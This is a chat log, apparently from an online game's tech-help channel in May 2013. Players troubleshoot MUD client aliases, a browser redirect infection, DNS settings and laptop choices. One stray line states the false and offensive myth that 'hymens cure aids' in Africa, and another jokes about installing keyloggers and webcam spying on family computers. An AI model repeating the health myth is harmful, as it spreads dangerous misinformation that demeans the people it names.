T3/r7/2013-05-01.txt.gz:{chan ch=tech}Alucard Tech: dont have maps on this mush
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Alucard Tech: no plugins.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: then you cannot record your run
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: then it's not aardmush :P
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Without the plugins, mushclient is little more than a Lua engine, tbh
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can still do it, but you have to do the heavy lifting, recording your inputs and whatnot
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: easier to write it down then i think
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or, just go to aardwolf.com, and download the one that has all the fancy plugins already :P
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Though I suppose viewing the command history (ctrl+h) could help you do it manually
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: who likes kaspersky?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: I use it
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: for business or personal?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: but I don't know jack
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vost Tech: Ubuntu ftw 
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: this is for enterprise stuff. god i can only imagine trying to get these people to use linux
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: linus is for that guy that buys a junker car because he KNOWS he's going to have to get under the hood
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: I should have typed linux there.. but somehow, linus sounds better
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: he did create it
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: a guy names linus?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yup
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: I thought his name was bill, or steve or something
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: StarsOscar . o O ( Linus in blue overhalls holding a wrench... )
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Hollister Tech: I don't like linux
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i don't like kaspersky
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not sure if their website has been defaced or if they paid a lot of money for the design
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: K, so I've been tasked with using a pocket android pc (thumb drive android machine with just a HDMI connection) as a set-top box, but what I need to do is share the keyboard/touch events from your personal mobile device to said pocket pc ... anyone have any preferred tools they've used for similar functionality?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: I just installed mudlet and the aard version of it - there is some funkiness with shift and 'a' and at the bottom quarter of the screen, there is a ton of extra space sometimes that have ' at the left
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: Is there a way to fix this?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: and to put the minimap in a separate window?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: ny ideas why I can't use shift to capitalize some letters using mudlet and the aard set for it?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Hanslanda Tech: macro problem, I would guess, but SHIFT is one of them keys that should always work even when you have a macro on it.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: even in mudlet?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: shift key doesn't work to capitalize a few letters
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: help
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i have run malware bytes/ avg ,etc.  And scans are clean.  Then if I use IE to ONLY google random search terms, and click the link I'm getting some kind of redirect trojan
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: unplug yourself and leave yourself that way
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Brujah Tech: Possibly rooted.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: any ideas how the heck this is happening?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: brujah what does that mean and how do i fix
T3/r7/2013-05-01.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: it would help if you said where it redirects you to
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: go find a program called 'Combofix' and use it
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: check your DNS
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: mokg its a different site but not the one showing up on the google links.  obviously one of those stupid redirect virus sites
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: manually put DNS to 8.8.8.8 (it's a google-run public DNS server)
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: abelinc how do i do that and what do i look for
T3/r7/2013-05-01.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: you probably downloaded a toolbar
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: ipconfig /all will list what you're currently using
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well once you guys get done with that stuff --> http://www.bleepingcomputer.com/download/combofix/
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: and network connections,properties of your NIC, TCP/IP is where you could set it manually
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Brujah Tech: Rootkit redirecter. anyway, nasty stuff.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: if i type that in the run bar, something flashes so fast i can't read it
T3/r7/2013-05-01.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: you have to type cmd first
T3/r7/2013-05-01.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: but you dont have to do that really
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: nod, start ->run, type cmd...THEN type ipconfig /all
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what do i have to do then, mokg?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea abe i see all that stuff.  what does manually setting my dns do?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: first, look at what it says now for DNS server, to see if it's a rational one
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i don't know the difference between a rational and not rational one
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: setting it manually lets you know/control what computer you ask for domain/IP translation
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: paste it here
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: 192.168.1.1
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: OK, that means it's using your router for DNS...tbh, those can be fooled easily enough, so I'd suggest setting it to 8.8.8.8 even if that isn't the root issue
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: well there are like two entries
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i have a cisco anyconnect thing which has a different number
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: 10.106.3.21
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: 10.97.1.21
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: yeah, all 3 of those numbers aren't allowed on the Internet, they're "internal use only" for private networks
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: vakieh it won't.. once societies advance births per woman drops sharply
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: mis
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so i guess i need to run combofix?  this is annoying
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: in africa, hymens cure aids
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: MIS
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: ok.  If I search "playstation streams games" in google, first link is to a WSJ article, which I would like to read
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: if I click on it, then the top left of IE says I'm visiting some random IP, which isn't the sitte, and I'm redirected to some ghetto crap
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: antivrus coming up with nada
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: how do I set up macros on function keys in wintin?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: http://tintin.sourceforge.net/manual/macro.php
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: Thanks
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Mye Tech: is there a built in function in mush that will execute the contents of a file (i.e. send each line to execute)? probably spent more time looking for something that already existed than it would have taken to write myself
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: mye: see if this helps you: http://www.gammon.com.au/forum/?id=7434
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Mye Tech: looks like that will work.. thank you
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: google redirect virus is like someone amputated a limb
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: did you download combofix like I told you to?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no, I downloaded ccleaner and disabled every single startup program and it seems to be working (for now)
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and i will run eset overnight to try and clean it up
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and then i will do combofix
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ccleaner won't do it
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ontuct Tech: then castrate the virus author?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I don't know about eset
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Eutychus Tech: I'd run combofix, it's pretty effective.. I use it at work.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: thank you Eutychus
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: fact is I've had this exact same hijacker on my computer and I also fixed it on a friends' computer
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: both times combofix was all that would work
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the weird thing was, I ran AV (avg and malare bytes) as soon as I saw the redirect, it cleaned up a few things, and then goog seemed clean but started redirecting a few hours later.  so i'm curious if it will start up again.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: yeah believe me I was near panic by the time I found something that worked
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: all the usual stuff just wasn't doing it for that one
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Eutychus Tech: Combofix won't always fix hijackers, theres another program I use called 'HiJack This' which works very well.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: maybe i will try combofix on a laptop i got from my brother which is so riddled with porn it's got viruses out the wazoo
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yes, I also ran the hijack this log and sent it to someone
T3/r7/2013-05-01.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well hijack this give syou info, but it won't actually fix things for you unless you know what you're doing
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Eutychus Tech: Right, I use it because I know what I'm doing.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: (Overlord) Onslaught snickers softly.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the laptop is odd... the usb ports shut down and it won't connect to a remote pc or anything.  like something is blocking ports, and I can't get admin user on it.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: you know what's not cool?  a 1.2mm nobel prize.  20 million?  that's cool.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: mis
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I love you guys.  Just sayin.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: How can I get settings/aliases/macros to save in wintin after quitting?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: http://tintin.sourceforge.net/manual/write.php
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: the better way to do it is to create separate script files organized by function, and make a loader file
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: and create your triggers, aliases, etc by editing/creating those files
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: hmm
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aurelia Tech: thanks
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Katain Tech: If anybody could help me that would be great! I am currently running on a laptop that cannot handle the programs I am running such as AutoCAD and Creo and i am looking to get a new laptop. Any suggestions?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: Yes. Get a new laptop.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: =)
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ixle Tech: Me too, well kinda, got a chromebook :p
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: Is screen resolution of high importance to you, due to AutoCAD?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: If so, you might want to consider the retina macbook pros, for their very high native resolution.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: out of curiosity, what are you using now?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Katain Tech: no, i just need it to run without my curser being 10 minutes behind what i am trying to do
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: if not, well, that certainly opens things up a bit.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: it's possible you could upgrade the ram in the one you have
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: Any size constraints? battery life requests? etc?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}You Prefer Carpet Tech: wouldnt ram be cleared out by regular restarts of the cpu?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: "cleared out" and "upgrade" are not the same thing.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im grabbing specs now, its a HP something, 4gb ram, processor: Intel(R) Core(TM) i3 CPU       M 370  2.40GHz
T3/r7/2013-05-02.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: not sure what you mean Carpet
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: Cleaning off your desk does not make it bigger.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if you have a desktop that runs it well you could just run it on that and remote to it
T3/r7/2013-05-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its a hp pavillion DV6
T3/r7/2013-05-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: she does not have a desktop
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Katain Tech: I do not want a desktop
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Katain Tech: needs to be portable 
T3/r7/2013-05-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: she just does not know the power of a desktop thats it *nod self
T3/r7/2013-05-02.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: eh I dunno if a laptop that won't run it native is going to work well remoting to it from elsewhere
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod just saying if you had one you could put the rendering intensive stuff on that and remote to it
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: That's a terrible idea, Vorpes.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: why?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: Having the bandwidth to have a reasonable experience for doing autocad remotely at a decent resolution is a little bit of a long shot. Also, that is not what they asked for.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: good point on the resolution
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: its unfortunately not your usual 800x600 1024x768 etc for just casual remote stuff. But I tend to see autocad as high res=best res
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Katain Tech: Autocad is the big one that lags my computer
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it looks like you have a pretty decent laptop. is autocad that resource intensive? 
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: Just generally, you might look at the Lenovo Y500.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Katain Tech: When i am running it, i cant run anything else on my computer
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Daloran Tech: http://www.lenovo.com/products/us/laptop/ideapad/y-series/y500/
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: so I have a script that gags the stats tag, but i can't see it updating. so I ungagged it, but i'm not seeing anyting with stats.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: stats tag even
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: tech does anyone know how to get whatever is tagged by that to show up?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Pedwiddle Tech: statmon?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: thank you!
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: thank you!
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: oops.  anyway thanks!  it got turned off somehow  :)
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Pedwiddle Tech: NP, glad I could help
T3/r7/2013-05-02.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a way to permenently extend the time it takes mapper to do a cexit?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sure, edit the plugin xml file
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vonliege Tech: Hulu won't buffer on my apple TV
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Rhavage Tech: Need a little help from somebody using cmud. For no reason I understand, none of my aliases are working. I checked and none are disabled. Anybody seen this problem before? I quit and logged back in, no improvement.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: check that parsing is on
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Rhavage Tech: Ok. I'm unfamiliar with that. How do I do it?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Rhavage Tech: Nm. I found it under options and you were right. All ok now :)
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Rhavage Tech: Thanks! That had me scratching my head :)
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Before I go diving into the code, is there a ready made option to allow what is captured by Bast's broadcasters to propagate through to the main window?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have experience with GFI antivirus?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: is there a way to make mushclient replace a word? ie when I type bag2 it uses the id#?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: you can make an alias like #alias {bag2 *} {get %1 125151662}
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or you can set a variable, and call it with @varname notation
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: i just need a convenient way to sort between 2 aardbags without having to add a keyword.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: sure, help objectid
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: but if you really want word substitution, you can do #alias {*bag2*} {%1 11111111 %2}
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ixle Tech: There's always the low-tech solution of 1.'bag aardwolf' and 2.'bag aardwolf'
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: went with aliasing * * bag2 to %1 %2 bag-objid to get or put to said bag
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: will that cause an odd issues?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: no, but it also won't let you ident bag2
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: and won't let you type "tech this is a message about bag2"
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: I'm ok with that I don't id it near as often as get from or add to
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: this is a message about 1016428735
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: You grin evilly.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: it will but you'll not have a clue lol
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: because "* * " doesn't mean only two words
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: but I shouldn't stumble across bag 2 too many times in the game short of my own inventory
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: exam bag2 also wouldn't work, if you use that rather than look in
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: i only wanted to be certain that the 2 wildcards starting the expression wouldn't cause hiccuos
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: it must have at least 2 words before "bag2" with that
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: and I have a basic alias set 2 invsort objid when bag 2 is entered alone
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: Abe's bags are all keyworded, but I did the alias thing for my alts...I did it more like Cheez's suggestion so that wherever in the line I type "weaponbag" it subs it
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: worst case you'll be talking to someone else and it'll look like your "this is a message" tech post, nothing bad will happen :-)
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: good to know my bag2 id will be famous
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: it'll be permanently archived on the Internet a bit after midnight tonight :-)
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: and if I hate it, I add a keyword
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ontuct Tech: thanks all
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ir
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: is there a way to make buttons that don't glitch or actually work
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: yeah, cuz that's specific enough to get a real answer...
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Button features are only there to confuse people.  They don't actually work
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: im using a tablet which is a arnova 10d g3
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ok, that's all fine and dandy. But what buttons are you referring to?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: the onscreen buttons that you can press to do commands and shizzle
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: for blowtorch? or some other app.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: blowtorchl
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Then, the answer to your question is absolutely. But, without you giving us actual details on what you're doing and what's going wrong, we can't begin to help you.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: im trieing to configure the buttons but when i click them they dont respond or just simply move to another side of the screen
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Default buttons or ones you've made?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: made buttons
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Then you've done something wrong, we need code :P
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: make sure you're setting the primary action and not the swipe action
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: and make sure you'r just touching and releasing the button and not holding, swiping, etc
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: thx it works
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger sighs.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: Joshuaturner sighs.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Hollister Tech: is this sigh's of relief I see?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: yes
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger shrugs in response to Sir Hollis Fletcher's question.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Hollister Tech: thats a fancy way of saying my name
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: for a fancy gentleman
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: off corse
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Joshuaturner Tech: course
T3/r7/2013-05-02.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: is there some key available to determine what various room colors mean on muschlcient area map?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Zetkax Tech: hover over ? in the map
T3/r7/2013-05-02.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well "well" terrain and "pillar" terrain.. I mean is this just random or a point to it? I know help terrain gives me info on the symbols for the other map
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Hanslanda Tech: there is a small set of basic terrain types in the game.  All the rest are copies of these, with the only difference being the coloring as seen in the ascii bitmap.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: hm.. ok... I assume most don't really do anything special?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Hanslanda Tech: that said, I believe builders have the ability to set up the sector stats any way they wish and there are mechanical issues (flight, etc) that can affect this as well.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: (Overlord) Onslaught nods.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Hanslanda Tech: some sectors even use the same bitmap (including color choice), but have different stattage behind them.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: yeah I've noticed that
T3/r7/2013-05-02.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: what's the best free registry cleaner/antivirus?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Aqiz Tech: ccleaner for the reg
T3/r7/2013-05-02.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: free registry cleaner!
T3/r7/2013-05-02.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: the one with the flashing "free" sign
T3/r7/2013-05-02.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i usually setup family with malware bytes and AVG
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vonliege Tech: I useuslly set my family up with spinster and net nanny
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Aqiz Tech: you monster!
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vonliege Tech: and key loggers
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Vonliege Tech: and random web cam grabs that UL to a cloud server
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ixle Tech: Nothing changed on the wiki for existing users right? Just new accounts disabled? Can't seem to login.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: I logged in to update the mudmessages page yesterday
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Ixle Tech: K, guess I'm just using the wrong password.
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Mye Tech: why would this be documented in the mushclient help file if you can't use it? "[string "Alias: "]:4: 'io.popen' not implemented in MUSHclient"
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Mye Tech: seems silly
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: the helpfile expressly says that it's not supported...
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Mye Tech: yeah.. i noticed that after the fact.. started outside the help files
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Tech: and the reason to include that particular help would be quite for that reason...someone familiar with Lua may expect the functionality to exist
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is the future of console video games physical or digital download?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Deneroth Tech: Digital
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: digital
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I would have thought download clearly, but from what I can tell the publishers are setting the prices the same
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Lumish Tech: the future of everything is digital
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: plus wouldn't it take forever and a day to download these games that run off blue ray discs?
T3/r7/2013-05-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i don't have a ps3 or xbox 360 or any of that, so I don't know how it works
